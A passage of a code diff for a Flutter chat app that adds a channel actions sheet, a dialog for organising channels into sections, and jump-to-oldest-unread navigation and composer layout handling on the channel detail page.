+    onTap: () {
+      unawaited(HapticFeedback.lightImpact());
+      onTap();
+    },
+    behavior: HitTestBehavior.opaque,
+    child: Column(
+      mainAxisSize: MainAxisSize.min,
+      crossAxisAlignment: CrossAxisAlignment.stretch,
+      children: [
+        Container(
+          height: 68 + (Grid.xxs * 2),
+          decoration: BoxDecoration(
+            color: context.colors.surfaceContainerHighest,
+            borderRadius: BorderRadius.circular(Radii.dialog),
+          ),
+          child: Column(
+            mainAxisAlignment: MainAxisAlignment.center,
+            children: [
+              Icon(icon, size: 22, color: context.colors.onSurface),
+              const SizedBox(height: Grid.xxs),
+              Text(
+                label,
+                maxLines: 1,
+                overflow: TextOverflow.ellipsis,
+                style: context.textTheme.labelMedium?.copyWith(
+                  color: context.colors.onSurface,
+                ),
+              ),
+            ],
+          ),
+        ),
+      ],
+    ),
+  );
+}
+
+class _ActionTile extends StatelessWidget {
+  const _ActionTile({
+    required this.icon,
+    required this.label,
+    required this.onTap,
+    this.destructive = false,
+  });
+
+  final IconData icon;
+  final String label;
+  final VoidCallback onTap;
+  final bool destructive;
+
+  @override
+  Widget build(BuildContext context) => ListTile(
+    contentPadding: EdgeInsets.zero,
+    leading: Icon(icon, color: destructive ? context.colors.error : null),
+    title: Text(
+      label,
+      style: destructive ? TextStyle(color: context.colors.error) : null,
+    ),
+    onTap: () {
+      unawaited(HapticFeedback.lightImpact());
+      onTap();
+    },
+  );
+}
+
+Future<void> _confirmAndRun(
+  BuildContext sheetContext,
+  WidgetRef ref, {
+  required String title,
+  required String body,
+  required String confirmLabel,
+  required Future<void> Function() action,
+}) async {
+  final pageContext = Navigator.of(sheetContext, rootNavigator: true).context;
+  final confirmed = await showBuzzDialog<bool>(
+    context: pageContext,
+    builder: (dialogContext) => AlertDialog(
+      title: Text(title),
+      content: Text(body),
+      actions: [
+        TextButton(
+          onPressed: () => Navigator.of(dialogContext).pop(false),
+          child: const Text('Cancel'),
+        ),
+        FilledButton(
+          onPressed: () => Navigator.of(dialogContext).pop(true),
+          child: Text(confirmLabel),
+        ),
+      ],
+    ),
+  );
+  if (confirmed != true) return;
+  try {
+    await action();
+    if (pageContext.mounted) Navigator.of(pageContext).pop(true);
+  } catch (error) {
+    if (!pageContext.mounted) return;
+    ScaffoldMessenger.of(pageContext).showSnackBar(
+      SnackBar(
+        content: Text(
+          'Couldn’t ${confirmLabel.toLowerCase()} channel. Try again.',
+        ),
+      ),
+    );
+  }
+}
+
+Future<void> _showMoveSectionSheet(
+  BuildContext context,
+  WidgetRef ref, {
+  required Channel channel,
+  required String? sectionId,
+}) async {
+  final sections = [...ref.read(channelSectionsProvider).store.sections]
+    ..sort((a, b) => a.order.compareTo(b.order));
+  await showBuzzModalBottomSheet<void>(
+    context: context,
+    showDragHandle: true,
+    builder: (sheetContext) => SafeArea(
+      child: IconTheme.merge(
+        data: const IconThemeData(size: 22),
+        child: SingleChildScrollView(
+          padding: const EdgeInsets.fromLTRB(
+            Grid.gutter,
+            0,
+            Grid.gutter,
+            Grid.xs,
+          ),
+          child: Column(
+            mainAxisSize: MainAxisSize.min,
+            children: [
+              for (final section in sections)
+                ListTile(
+                  leading: const Icon(LucideIcons.folder),
+                  title: Text(section.name),
+                  trailing: sectionId == section.id
+                      ? Icon(
+                          LucideIcons.check,
+                          color: sheetContext.colors.primary,
+                        )
+                      : null,
+                  onTap: () {
+                    Navigator.of(sheetContext).pop();
+                    ref
+                        .read(channelSectionsProvider.notifier)
+                        .assignChannel(channel.id, section.id);
+                  },
+                ),
+              ListTile(
+                leading: const Icon(LucideIcons.folderPlus),
+                title: const Text('New section…'),
+                onTap: () async {
+                  Navigator.of(sheetContext).pop();
+                  final name = await _showSectionNameDialog(context);
+                  if (name == null || name.isEmpty) return;
+                  final notifier = ref.read(channelSectionsProvider.notifier);
+                  notifier.createSection(name);
+                  final created = ref
+                      .read(channelSectionsProvider)
+                      .store
+                      .sections
+                      .where((section) => section.name == name.trim())
+                      .lastOrNull;
+                  if (created != null) {
+                    notifier.assignChannel(channel.id, created.id);
+                  }
+                },
+              ),
+              if (sectionId != null)
+                ListTile(
+                  leading: const Icon(LucideIcons.folderMinus),
+                  title: const Text('Remove from section'),
+                  onTap: () {
+                    Navigator.of(sheetContext).pop();
+                    ref
+                        .read(channelSectionsProvider.notifier)
+                        .unassignChannel(channel.id);
+                  },
+                ),
+            ],
+          ),
+        ),
+      ),
+    ),
+  );
+}
+
+Future<String?> _showSectionNameDialog(BuildContext context) async {
+  final controller = TextEditingController();
+  final result = await showBuzzDialog<String>(
+    context: context,
+    builder: (dialogContext) => AlertDialog(
+      title: const Text('New Section'),
+      content: TextField(controller: controller, autofocus: true),
+      actions: [
+        TextButton(
+          onPressed: () => Navigator.of(dialogContext).pop(),
+          child: const Text('Cancel'),
+        ),
+        FilledButton(
+          onPressed: () =>
+              Navigator.of(dialogContext).pop(controller.text.trim()),
+          child: const Text('Create'),
+        ),
+      ],
+    ),
+  );
+  controller.dispose();
+  return result;
+}
diff --git a/mobile/lib/features/channels/channel_detail_page.dart b/mobile/lib/features/channels/channel_detail_page.dart
index 044342d101..bee9639825 100644
--- a/mobile/lib/features/channels/channel_detail_page.dart
+++ b/mobile/lib/features/channels/channel_detail_page.dart
@@ -1,5 +1,6 @@
 import 'dart:async';
 import 'dart:math' show min;
+import 'dart:ui';
 
 import 'package:flutter/material.dart';
 import 'package:flutter/rendering.dart' show ScrollDirection;
@@ -17,6 +18,7 @@ import '../../shared/widgets/frosted_app_bar.dart';
 import '../../shared/widgets/frosted_scaffold.dart';
 import '../../shared/widgets/keyboard_dismiss_on_drag.dart';
 import '../../shared/widgets/message_author_meta.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../../shared/widgets/skeleton.dart';
 import '../profile/presence_cache_provider.dart';
 import '../profile/profile_provider.dart';
@@ -24,25 +26,29 @@ import '../profile/user_cache_provider.dart';
 import '../profile/user_profile.dart';
 import '../forum/forum_posts_view.dart';
 import 'channel.dart';
+import 'channel_actions_sheet.dart';
 import 'channel_link_navigation.dart';
 import 'agent_activity/working_bots_provider.dart';
 import 'channel_management_provider.dart';
+import 'channel_sections/channel_sections_provider.dart';
 import 'channel_messages_provider.dart';
 import 'channel_typing_provider.dart';
 import 'channel_typing_indicator.dart';
 import 'channels_provider.dart';
+import 'unread_badge/observed_unread_event.dart';
 import 'compose_bar.dart';
+import 'composer_dock_size_reporter.dart';
 import 'date_formatters.dart';
 import 'day_divider.dart';
 import 'dm_channel_labels.dart';
 import 'ephemeral_channel_display.dart';
-import 'manage_channel_sheet.dart';
 import 'members_sheet.dart';
 import 'message_actions.dart';
 import 'message_content.dart';
-import 'read_state/deferred_read_state_update.dart';
-import 'read_state/read_state_provider.dart';
-import 'read_state/read_state_time.dart';
+import '../../shared/read_state/deferred_read_state_update.dart';
+import '../../shared/read_state/read_state_format.dart';
+import '../../shared/read_state/read_state_provider.dart';
+import '../../shared/read_state/read_state_time.dart';
 import 'reaction_row.dart';
 import 'send_message_provider.dart';
 import '../profile/user_profile_sheet.dart';
@@ -125,11 +131,59 @@ class ChannelDetailPage extends HookConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
+    final composerDockHeight = useState(0.0);
+    final sendMessage = ref.read(sendMessageProvider);
     final detailsAsync = ref.watch(channelDetailsProvider(channel.id));
     final channelsAsync = ref.watch(channelsProvider);
     final messagesState = ref.watch(channelMessagesProvider(channel.id));
     final sessionStatus = ref.watch(relaySessionProvider).status;
     final readState = ref.watch(readStateProvider);
+    final channelsNotifier = ref.read(channelsProvider.notifier);
+    final initialOrdinaryUnreadMessageIdsRef = useRef<Set<String>>(const {});
+    final initialOldestOrdinaryUnreadMessageIdRef = useRef<String?>(null);
+    final initialForcedUnreadMessageIdsRef = useRef<Set<String>>(const {});
+    final didCaptureInitialReadAt = useRef(false);
+    if (readState.isReady && !didCaptureInitialReadAt.value) {
+      final channelReadAt = readState.effectiveTimestamp(channel.id);
+      final ordinaryUnreadEvents = [
+        for (final event
+            in channelsNotifier
+                    .observedUnreadEventsByChannel[channel.id]
+                    ?.values ??
+                const <ObservedUnreadEvent>[])
+          if (event.rootId == null &&
+              event.createdAt >
+                  (observedUnreadEventReadAt(
+                        event,
+                        channelReadAt,
+                        (rootId) => readState.effectiveTimestamp(
+                          threadContextKey(rootId),
+                        ),
+                        (messageId) => readState.effectiveTimestamp(
+                          msgContextKey(messageId),
+                        ),
+                      ) ??
+                      0))
+            event,
+      ]..sort((a, b) => a.createdAt.compareTo(b.createdAt));
+      initialOrdinaryUnreadMessageIdsRef.value = {
+        for (final event in ordinaryUnreadEvents) event.id,
+      };
+      initialOldestOrdinaryUnreadMessageIdRef.value =
+          ordinaryUnreadEvents.firstOrNull?.id;
+      initialForcedUnreadMessageIdsRef.value = {
+        for (final entry in readState.forcedUnreadContexts.entries)
+          if (entry.value == channel.id && entry.key.startsWith('msg:'))
+            entry.key.substring('msg:'.length),
+      };
+      didCaptureInitialReadAt.value = true;
+    }
+    final initialOrdinaryUnreadMessageIds =
+        initialOrdinaryUnreadMessageIdsRef.value;
+    final initialOldestOrdinaryUnreadMessageId =
+        initialOldestOrdinaryUnreadMessageIdRef.value;
+    final initialForcedUnreadMessageIds =
+        initialForcedUnreadMessageIdsRef.value;
     final currentPubkey = ref
         .watch(profileProvider)
         .whenData((value) => value?.pubkey)
@@ -156,6 +210,10 @@ class ChannelDetailPage extends HookConsumerWidget {
         channel;
     final resolvedChannel =
         detailsAsync.whenData(baseChannel.mergeDetails).value ?? baseChannel;
+    final showsComposer =
+        !resolvedChannel.isForum &&
+        resolvedChannel.isMember &&
+        !resolvedChannel.isArchived;
     final messagesNotifier = ref.read(
       channelMessagesProvider(channel.id).notifier,
     );
@@ -188,20 +246,39 @@ class ChannelDetailPage extends HookConsumerWidget {
       messagesState: messagesState,
     );
 
+    useEffect(() {
+      final session = ref.read(relaySessionProvider.notifier);
+      return session.registerVisibleChannel(channel.id);
+    }, [channel.id]);
+
     // Preload channel member profiles so @mentions resolve correctly.
     useEffect(() {
       _preloadMembers(ref, channel.id);
       return null;
     }, [channel.id]);
 
-    useEffect(() {
-      final messageId = initialMessageId;
-      if (messageId == null || channel.isForum) return null;
-      final eventIds = {messageId, ?initialThreadRootId};
-      final notifier = ref.read(channelMessagesProvider(channel.id).notifier);
-      unawaited(_loadDeepLinkEvents(ref, channel.id, eventIds));
-      return () => notifier.releaseDeepLinkEvents(eventIds);
-    }, [channel.id, initialMessageId, initialThreadRootId]);
+    useEffect(
+      () {
+        if (channel.isForum) return null;
+        final eventIds = {
+          ?initialMessageId,
+          ?initialThreadRootId,
+          ?initialOldestOrdinaryUnreadMessageId,
+          ...initialForcedUnreadMessageIds,
+        };
+        if (eventIds.isEmpty) return null;
+        final notifier = ref.read(channelMessagesProvider(channel.id).notifier);
+        unawaited(_loadDeepLinkEvents(ref, channel.id, eventIds));
+        return () => notifier.releaseDeepLinkEvents(eventIds);
+      },
+      [
+        channel.id,
+        initialMessageId,
+        initialThreadRootId,
+        initialOldestOrdinaryUnreadMessageId,
+        initialForcedUnreadMessageIds,
+      ],
+    );
 
     useEffect(() {
       if (!readState.isReady || readTimestamp == null) {
@@ -265,145 +342,194 @@ class ChannelDetailPage extends HookConsumerWidget {
             channel: resolvedChannel,
             currentPubkey: currentPubkey,
           ),
-          if (!resolvedChannel.isDm)
-            IconButton(
-              color: context.colors.primary,
-              onPressed: () async {
-                final shouldClose = await showModalBottomSheet<bool>(
-                  context: context,
-                  isScrollControlled: true,
-                  showDragHandle: true,
-                  constraints: BoxConstraints(
-                    maxWidth: 640,
-                    maxHeight: MediaQuery.sizeOf(context).height * 0.9,
-                  ),
-                  builder: (_) => ManageChannelSheet(channel: resolvedChannel),
-                );
-                if (shouldClose == true && context.mounted) {
-                  Navigator.of(context).pop();
-                }
-              },
-              tooltip: 'Manage channel',
-              icon: const Icon(LucideIcons.ellipsisVertical, size: 22),
-            ),
+          IconButton(
+            color: context.colors.primary,
+            onPressed: () async {
+              final shouldClose = await showChannelActionsSheet(
+                context: context,
+                channel: resolvedChannel,
+                isUnread: false,
+                sectionId: ref
+                    .read(channelSectionsProvider)
+                    .store
+                    .assignments[resolvedChannel.id],
+              );
+              if (shouldClose == true && context.mounted) {
+                Navigator.of(context).pop();
+              }
+            },
+            tooltip: 'Channel actions',
+            icon: const Icon(LucideIcons.ellipsisVertical, size: 22),
+          ),
         ],
       ),
-      body: Column(
+      body: Stack(
+        fit: StackFit.expand,
         children: [
-          Expanded(
-            child: resolvedChannel.isForum
-                ? Stack(
-                    fit: StackFit.expand,
-                    children: [
-                      ForumPostsView(
-                        channel: resolvedChannel,
-                        currentPubkey: currentPubkey,
-                      ),
-                      if (showConnectionSkeleton.value)
-                        Positioned(
-                          top:
-                              frostedAppBarHeight(
-                                context,
-                                titleContentHeight: appBarTitleContentHeight,
-                              ) +
-                              Grid.xs,
-                          left: Grid.gutter,
-                          right: Grid.gutter,
-                          child: _ForumConnectionSkeleton(
-                            status: sessionStatus,
-                          ),
-                        ),
-                    ],
-                  )
-                : SkeletonReveal(
-                    loading:
-                        showInitialConnectionSkeleton ||
-                        showConnectionSkeleton.value ||
-                        messagesState.isLoading,
-                    shimmerEnabled: sessionStatus != SessionStatus.disconnected,
-                    skeleton: _MessageTimelineSkeleton(
-                      appBarTitleContentHeight: appBarTitleContentHeight,
-                      status: sessionStatus,
-                    ),
-                    content: messagesState.when(
-                      loading: SizedBox.shrink,
-                      error: (e, _) => Padding(
-                        padding: EdgeInsets.only(
-                          top: frostedAppBarHeight(
-                            context,
-                            titleContentHeight: appBarTitleContentHeight,
+          Column(
+            children: [
+              Expanded(
+                child: resolvedChannel.isForum
+                    ? Stack(
+                        fit: StackFit.expand,
+                        children: [
+                          ForumPostsView(
+                            channel: resolvedChannel,
+                            currentPubkey: currentPubkey,
                           ),
+                          if (showConnectionSkeleton.value)
+                            Positioned(
+                              top:
+                                  frostedAppBarHeight(
+                                    context,
+                                    titleContentHeight:
+                                        appBarTitleContentHeight,
+                                  ) +
+                                  Grid.xs,
+                              left: Grid.gutter,
+                              right: Grid.gutter,
+                              child: _ForumConnectionSkeleton(
+                                status: sessionStatus,
+                              ),
+                            ),
+                        ],
+                      )
+                    : SkeletonReveal(
+                        loading:
+                            showInitialConnectionSkeleton ||
+                            showConnectionSkeleton.value ||
+                            messagesState.isLoading,
+                        shimmerEnabled:
+                            sessionStatus != SessionStatus.disconnected,
+                        skeleton: _MessageTimelineSkeleton(
+                          appBarTitleContentHeight: appBarTitleContentHeight,
+                          status: sessionStatus,
                         ),
-                        child: Center(
-                          child: Text(
-                            'Failed to load messages',
-                            style: context.textTheme.bodyMedium?.copyWith(
-                              color: context.colors.error,
+                        content: messagesState.when(
+                          loading: SizedBox.shrink,
+                          error: (e, _) => Padding(
+                            padding: EdgeInsets.only(
+                              top: frostedAppBarHeight(
+                                context,
+                                titleContentHeight: appBarTitleContentHeight,
+                              ),
+                            ),
+                            child: Center(
+                              child: Text(
+                                'Failed to load messages',
+                                style: context.textTheme.bodyMedium?.copyWith(
+                                  color: context.colors.error,
+                                ),
+                              ),
                             ),
                           ),
+                          data: (events) {
+                            final messages = formatTimeline(
+                              events,
+                              currentPubkey: currentPubkey,
+                            );
+                            final summaries = ref
+                                .read(
+                                  channelMessagesProvider(channel.id).notifier,
+                                )
+                                .threadSummaries;
+                            final entries = buildMainTimelineEntries(
+                              messages,
+                              relaySummaries: summaries,
+                            );
+                            return _MessageList(
+                              entries: entries,
+                              allMessages: messages,
+                              initialMessageId: initialMessageId,
+                              initialThreadRootId: initialThreadRootId,
+                              initialOrdinaryUnreadMessageIds:
+                                  initialOrdinaryUnreadMessageIds,
+                              initialOldestOrdinaryUnreadMessageId:
+                                  initialOldestOrdinaryUnreadMessageId,
+                              initialForcedUnreadMessageIds:
+                                  initialForcedUnreadMessageIds,
+                              hasInitialUnread:
+                                  readState.isReady &&
+                                  (readState.isForcedUnread(channel.id) ||
+                                      initialForcedUnreadMessageIds
+                                          .isNotEmpty ||
+                                      initialOldestOrdinaryUnreadMessageId !=
+                                          null),
+                              channelId: channel.id,
+                              currentPubkey: currentPubkey,
+                              isMember: resolvedChannel.isMember,
+                              isArchived: resolvedChannel.isArchived,
+                              appBarTitleContentHeight:
+                                  appBarTitleContentHeight,
+                              composerBottomInset: showsComposer
+                                  ? composerDockHeight.value
+                                  : 0,
+                            );
+                          },
                         ),
                       ),
-                      data: (events) {
-                        final messages = formatTimeline(
-                          events,
-                          currentPubkey: currentPubkey,
-                        );
-                        final summaries = ref
-                            .read(channelMessagesProvider(channel.id).notifier)
-                            .threadSummaries;
-                        final entries = buildMainTimelineEntries(
-                          messages,
-                          relaySummaries: summaries,
-                        );
-                        return _MessageList(
-                          entries: entries,
-                          allMessages: messages,
-                          initialMessageId: initialMessageId,
-                          initialThreadRootId: initialThreadRootId,
-                          channelId: channel.id,
-                          currentPubkey: currentPubkey,
-                          isMember: resolvedChannel.isMember,
-                          isArchived: resolvedChannel.isArchived,
-                          appBarTitleContentHeight: appBarTitleContentHeight,
-                        );
-                      },
-                    ),
-                  ),
+              ),
+              if (!resolvedChannel.isForum &&
+                  (!resolvedChannel.isMember ||
+                      resolvedChannel.isArchived)) ...[
+                AnimatedSize(
+                  duration: MediaQuery.disableAnimationsOf(context)
+                      ? Duration.zero
+                      : const Duration(milliseconds: 180),
+                  curve: Curves.easeOutCubic,
+                  alignment: Alignment.bottomCenter,
+                  child: typingEntries.isEmpty
+                      ? const SizedBox.shrink()
+                      : ChannelTypingIndicator(entries: typingEntries),
+                ),
+                if (!resolvedChannel.isDm)
+                  _ReadOnlyNotice(channel: resolvedChannel),
+              ],
+            ],
           ),
-          if (!resolvedChannel.isForum)
-            AnimatedSize(
-              duration: MediaQuery.disableAnimationsOf(context)
-                  ? Duration.zero
-                  : const Duration(milliseconds: 180),
-              curve: Curves.easeOutCubic,
+          if (showsComposer)
+            Align(
               alignment: Alignment.bottomCenter,
-              child: typingEntries.isEmpty
-                  ? const SizedBox.shrink()
-                  : ChannelTypingIndicator(entries: typingEntries),
+              child: ComposerDockSizeReporter(
+                key: const ValueKey('channel-composer-dock'),
+                onHeightChanged: (height) {
+                  if ((composerDockHeight.value - height).abs() < 0.5) return;
+                  composerDockHeight.value = height;
+                },
+                child: Column(
+                  mainAxisSize: MainAxisSize.min,
+                  children: [
+                    AnimatedSize(
+                      duration: MediaQuery.disableAnimationsOf(context)
+                          ? Duration.zero
+                          : const Duration(milliseconds: 180),
+                      curve: Curves.easeOutCubic,
+                      alignment: Alignment.bottomCenter,
+                      child: typingEntries.isEmpty
+                          ? const SizedBox.shrink()
+                          : ChannelTypingIndicator(entries: typingEntries),
+                    ),
+                    ComposeBar(
+                      channelId: channel.id,
+                      channelName: resolvedChannel.isDm
+                          ? ''
+                          : resolvedChannel.name,
+                      onSend:
+                          (
+                            content,
+                            mentionPubkeys, {
+                            mediaTags = const <List<String>>[],
+                          }) => sendMessage.call(
+                            channelId: channel.id,
+                            content: content,
+                            mentionPubkeys: mentionPubkeys,
+                            mediaTags: mediaTags,
+                          ),
+                    ),
+                  ],
+                ),
+              ),
             ),
-          if (!resolvedChannel.isForum &&
-              resolvedChannel.isMember &&
-              !resolvedChannel.isArchived)
-            ComposeBar(
-              channelId: channel.id,
-              channelName: resolvedChannel.isDm ? '' : resolvedChannel.name,
-              onSend:
-                  (
-                    content,
-                    mentionPubkeys, {
-                    mediaTags = const <List<String>>[],
-                  }) => ref
-                      .read(sendMessageProvider)
-                      .call(
-                        channelId: channel.id,
-                        content: content,
-                        mentionPubkeys: mentionPubkeys,
-                        mediaTags: mediaTags,
-                      ),
-            )
-          else if (!resolvedChannel.isDm &&
-              (!resolvedChannel.isMember || resolvedChannel.isArchived))
-            _ReadOnlyNotice(channel: resolvedChannel),
         ],
       ),
     );
diff --git a/mobile/lib/features/channels/channel_detail_page/app_bar.dart b/mobile/lib/features/channels/channel_detail_page/app_bar.dart
index 406d68b4f5..fe861bf0b9 100644
--- a/mobile/lib/features/channels/channel_detail_page/app_bar.dart
+++ b/mobile/lib/features/channels/channel_detail_page/app_bar.dart
@@ -39,7 +39,7 @@ class _MembersButton extends ConsumerWidget {
     return IconButton(
       color: context.colors.primary,
       onPressed: () {
-        showModalBottomSheet<void>(
+        showBuzzModalBottomSheet<void>(
           context: context,
           isScrollControlled: true,
           showDragHandle: true,
diff --git a/mobile/lib/features/channels/channel_detail_page/message_list.dart b/mobile/lib/features/channels/channel_detail_page/message_list.dart
index eacba5856e..37082ab963 100644
--- a/mobile/lib/features/channels/channel_detail_page/message_list.dart
+++ b/mobile/lib/features/channels/channel_detail_page/message_list.dart
@@ -5,22 +5,32 @@ class _MessageList extends HookConsumerWidget {
   final List<TimelineMessage> allMessages;
   final String? initialMessageId;
   final String? initialThreadRootId;
+  final Set<String> initialOrdinaryUnreadMessageIds;
+  final String? initialOldestOrdinaryUnreadMessageId;
+  final Set<String> initialForcedUnreadMessageIds;
+  final bool hasInitialUnread;
   final String channelId;
   final String? currentPubkey;
   final bool isMember;
   final bool isArchived;
   final double appBarTitleContentHeight;
+  final double composerBottomInset;
 
   const _MessageList({
     required this.entries,
     required this.allMessages,
     required this.initialMessageId,
     required this.initialThreadRootId,
+    required this.initialOrdinaryUnreadMessageIds,
+    required this.initialOldestOrdinaryUnreadMessageId,
+    required this.initialForcedUnreadMessageIds,
+    required this.hasInitialUnread,
     required this.channelId,
     required this.currentPubkey,
     required this.isMember,
     required this.isArchived,
     required this.appBarTitleContentHeight,
+    required this.composerBottomInset,
   });
 
   @override
@@ -35,11 +45,105 @@ class _MessageList extends HookConsumerWidget {
       initialMessageId == null && initialThreadRootId == null,
     );
     final isAutoScrolling = useRef(false);
-    final autoScrollScheduled = useRef(false);
+    final latestRealignmentQueued = useRef(false);
     final latestEntryId = entries.isEmpty ? null : entries.last.message.id;
     final previousLatestEntryId = useRef<String?>(null);
     final didOpenInitialThread = useRef(false);
     final didJumpToInitialMessage = useRef(false);
+    final isUnreadNavigationDismissed = useState(false);
+    final detachedWhileUnreadShown = useRef(false);
+    final oldestUnreadMessageId = useState<String?>(null);
+    final unreadBoundaryLoadFailed = useState(false);
+    final unreadBoundaryFetchCount = useRef(0);
+    final hasUnreadDeepLink =
+        initialMessageId != null || initialThreadRootId != null;
+    final notifier = ref.read(channelMessagesProvider(channelId).notifier);
+
+    useEffect(
+      () {
+        if (!hasInitialUnread ||
+            hasUnreadDeepLink ||
+            oldestUnreadMessageId.value != null ||
+            unreadBoundaryLoadFailed.value ||
+            entries.isEmpty) {
+          return null;
+        }
+
+        final hasLoadedOrdinaryTarget =
+            initialOldestOrdinaryUnreadMessageId != null &&
+            entries.any(
+              (entry) =>
+                  entry.message.id == initialOldestOrdinaryUnreadMessageId,
+            );
+        final hasLoadedForcedTarget = entries.any(
+          (entry) => initialForcedUnreadMessageIds.contains(entry.message.id),
+        );
+        final hasKnownTarget =
+            initialOldestOrdinaryUnreadMessageId != null ||
+            initialForcedUnreadMessageIds.isNotEmpty;
+        final hasLoadedFetchTarget =
+            initialOldestOrdinaryUnreadMessageId != null
+            ? hasLoadedOrdinaryTarget
+            : hasLoadedForcedTarget;
+        final canFetchTarget =
+            hasKnownTarget &&
+            !hasLoadedFetchTarget &&
+            !notifier.reachedOldest &&
+            unreadBoundaryFetchCount.value < 4;
+        if (canFetchTarget) {
+          unreadBoundaryFetchCount.value += 1;
+          var cancelled = false;
+          unawaited(
+            Future<void>(() async {
+              final loaded = await notifier.fetchOlder();
+              if (!cancelled && !loaded && !notifier.reachedOldest) {
+                unreadBoundaryLoadFailed.value = true;
+              }
+            }),
+          );
+          return () => cancelled = true;
+        }
+
+        if (hasKnownTarget &&
+            !hasLoadedFetchTarget &&
+            !notifier.reachedOldest) {
+          unreadBoundaryLoadFailed.value = true;
+        }
+
+        final ordinaryUnread = entries
+            .where(
+              (entry) =>
+                  initialOrdinaryUnreadMessageIds.contains(entry.message.id),
+            )
+            .map((entry) => entry.message)
+            .firstOrNull;
+        final forcedUnread = entries
+            .where(
+              (entry) =>
+                  initialForcedUnreadMessageIds.contains(entry.message.id),
+            )
+            .map((entry) => entry.message)
+            .firstOrNull;
+        final candidates = [ordinaryUnread, forcedUnread].nonNulls.toList()
+          ..sort((a, b) => a.createdAt.compareTo(b.createdAt));
+        oldestUnreadMessageId.value = candidates.firstOrNull?.id;
+        return null;
+      },
+      [
+        hasInitialUnread,
+        hasUnreadDeepLink,
+        initialOrdinaryUnreadMessageIds,
+        initialOldestOrdinaryUnreadMessageId,
+        initialForcedUnreadMessageIds,
+        entries.length,
+        notifier.reachedOldest,
+        unreadBoundaryLoadFailed.value,
+      ],
+    );
+
+    final showUnreadNavigation =
+        !isUnreadNavigationDismissed.value &&
+        oldestUnreadMessageId.value != null;
 
     int? reversedIndexOf(String? messageId) {
       if (messageId == null) return null;
@@ -70,16 +174,28 @@ class _MessageList extends HookConsumerWidget {
       }
     }
 
-    void scheduleAutoScrollToLatest() {
-      if (autoScrollScheduled.value || isAutoScrolling.value) return;
-      autoScrollScheduled.value = true;
-      WidgetsBinding.instance.addPostFrameCallback((_) {
-        autoScrollScheduled.value = false;
-        if (!context.mounted || !followsLatest.value || hasUserScrolled.value) {
-          return;
-        }
-        scrollToLatest();
-      });
+    Future<void> scrollToOldestUnread() async {
+      final targetIndex = reversedIndexOf(oldestUnreadMessageId.value);
+      if (targetIndex == null ||
+          !itemScrollController.isAttached ||
+          isAutoScrolling.value) {
+        return;
+      }
+      isUnreadNavigationDismissed.value = true;
+      followsLatest.value = false;
+      hasUserScrolled.value = false;
+      isAtLatest.value = false;
+      isAutoScrolling.value = true;
+      try {
+        await itemScrollController.scrollTo(
+          index: targetIndex,
+          alignment: 0.35,
+          duration: const Duration(milliseconds: 220),
+          curve: Curves.easeOutCubic,
+        );
+      } finally {
+        isAutoScrolling.value = false;
+      }
     }
 
     bool latestIsAtBoundary() {
@@ -92,19 +208,42 @@ class _MessageList extends HookConsumerWidget {
       );
     }
 
+    void realignLatestAfterLayoutChange() {
+      if (latestRealignmentQueued.value ||
+          !followsLatest.value ||
+          hasUserScrolled.value) {
+        return;
+      }
+      latestRealignmentQueued.value = true;
+      WidgetsBinding.instance.addPostFrameCallback((_) {
+        latestRealignmentQueued.value = false;
+        if (!context.mounted ||
+            !itemScrollController.isAttached ||
+            !followsLatest.value ||
+            hasUserScrolled.value ||
+            latestIsAtBoundary()) {
+          return;
+        }
+        // A dock or keyboard resize is a layout correction, not a navigation
+        // action. Keeping it instant avoids restarting a smooth scroll for
+        // every position report while the viewport settles.
+        itemScrollController.jumpTo(index: 0);
+      });
+    }
+
     useEffect(() {
       void onPositionsChanged() {
         final positions = itemPositionsListener.itemPositions.value;
         if (positions.isEmpty) return;
         final nextIsAtLatest = latestIsAtBoundary();
+        if (showUnreadNavigation &&
+            nextIsAtLatest &&
+            detachedWhileUnreadShown.value) {
+          isUnreadNavigationDismissed.value = true;
+        }
         if (nextIsAtLatest) {
           if (!isAtLatest.value) isAtLatest.value = true;
-        } else if (followsLatest.value && !hasUserScrolled.value) {
-          // The viewport can shrink when the composer or keyboard opens.
-          // Preserve auto-follow until the user scrolls the timeline.
-          if (!isAtLatest.value) isAtLatest.value = true;
-          scheduleAutoScrollToLatest();
-        } else if (isAtLatest.value) {
+        } else if (!followsLatest.value && isAtLatest.value) {
           isAtLatest.value = false;
         }
 
@@ -128,6 +267,22 @@ class _MessageList extends HookConsumerWidget {
       );
     }, [channelId, entries.length, itemPositionsListener]);
 
+    // Composer size changes and keyboard metrics changes arrive in separate
+    // layout passes. Preserve the latest-message anchor for both, but only
+    // while the user has not deliberately left the tail.
+    useEffect(() {
+      realignLatestAfterLayoutChange();
+      return null;
+    }, [composerBottomInset]);
+
+    useEffect(() {
+      final observer = _ChannelLatestMetricsObserver(
+        onMetricsChanged: realignLatestAfterLayoutChange,
+      );
+      WidgetsBinding.instance.addObserver(observer);
+      return () => WidgetsBinding.instance.removeObserver(observer);
+    }, [itemScrollController]);
+
     useEffect(() {
       if (initialThreadRootId == null || didOpenInitialThread.value) {
         return null;
@@ -235,6 +390,9 @@ class _MessageList extends HookConsumerWidget {
                 notification.direction != ScrollDirection.idle) {
               hasUserScrolled.value = true;
               followsLatest.value = false;
+              if (showUnreadNavigation) {
+                detachedWhileUnreadShown.value = true;
+              }
             } else if (notification is ScrollEndNotification &&
                 hasUserScrolled.value) {
               WidgetsBinding.instance.addPostFrameCallback((_) {
@@ -259,7 +417,7 @@ class _MessageList extends HookConsumerWidget {
                   context,
                   titleContentHeight: appBarTitleContentHeight,
                 ),
-                bottom: 0,
+                bottom: composerBottomInset,
               ),
               itemCount: displayEntries.length + (isLoadingOlder.value ? 1 : 0),
               itemBuilder: (context, index) {
@@ -352,29 +510,112 @@ class _MessageList extends HookConsumerWidget {
             ),
           ),
         ),
-        if (!isAtLatest.value)
+        if (showUnreadNavigation)
           Positioned(
             left: 0,
             right: 0,
-            bottom: Grid.xs,
+            top:
+                frostedAppBarHeight(
+                  context,
+                  titleContentHeight: appBarTitleContentHeight,
+                ) +
+                Grid.xs,
             child: Center(
-              child: FilledButton.icon(
-                key: const ValueKey('channel-jump-to-latest'),
-                onPressed: scrollToLatest,
-                style: FilledButton.styleFrom(
+              child: IconButton.filled(
+                key: const ValueKey('channel-jump-to-oldest-unread'),
+                onPressed: scrollToOldestUnread,
+                tooltip: 'Jump to oldest unread message',
+                style: IconButton.styleFrom(
                   backgroundColor: context.colors.primaryContainer,
                   foregroundColor: context.colors.onPrimaryContainer,
+                ),
+                icon: const Icon(LucideIcons.chevronUp, size: 20),
+              ),
+            ),
+          )
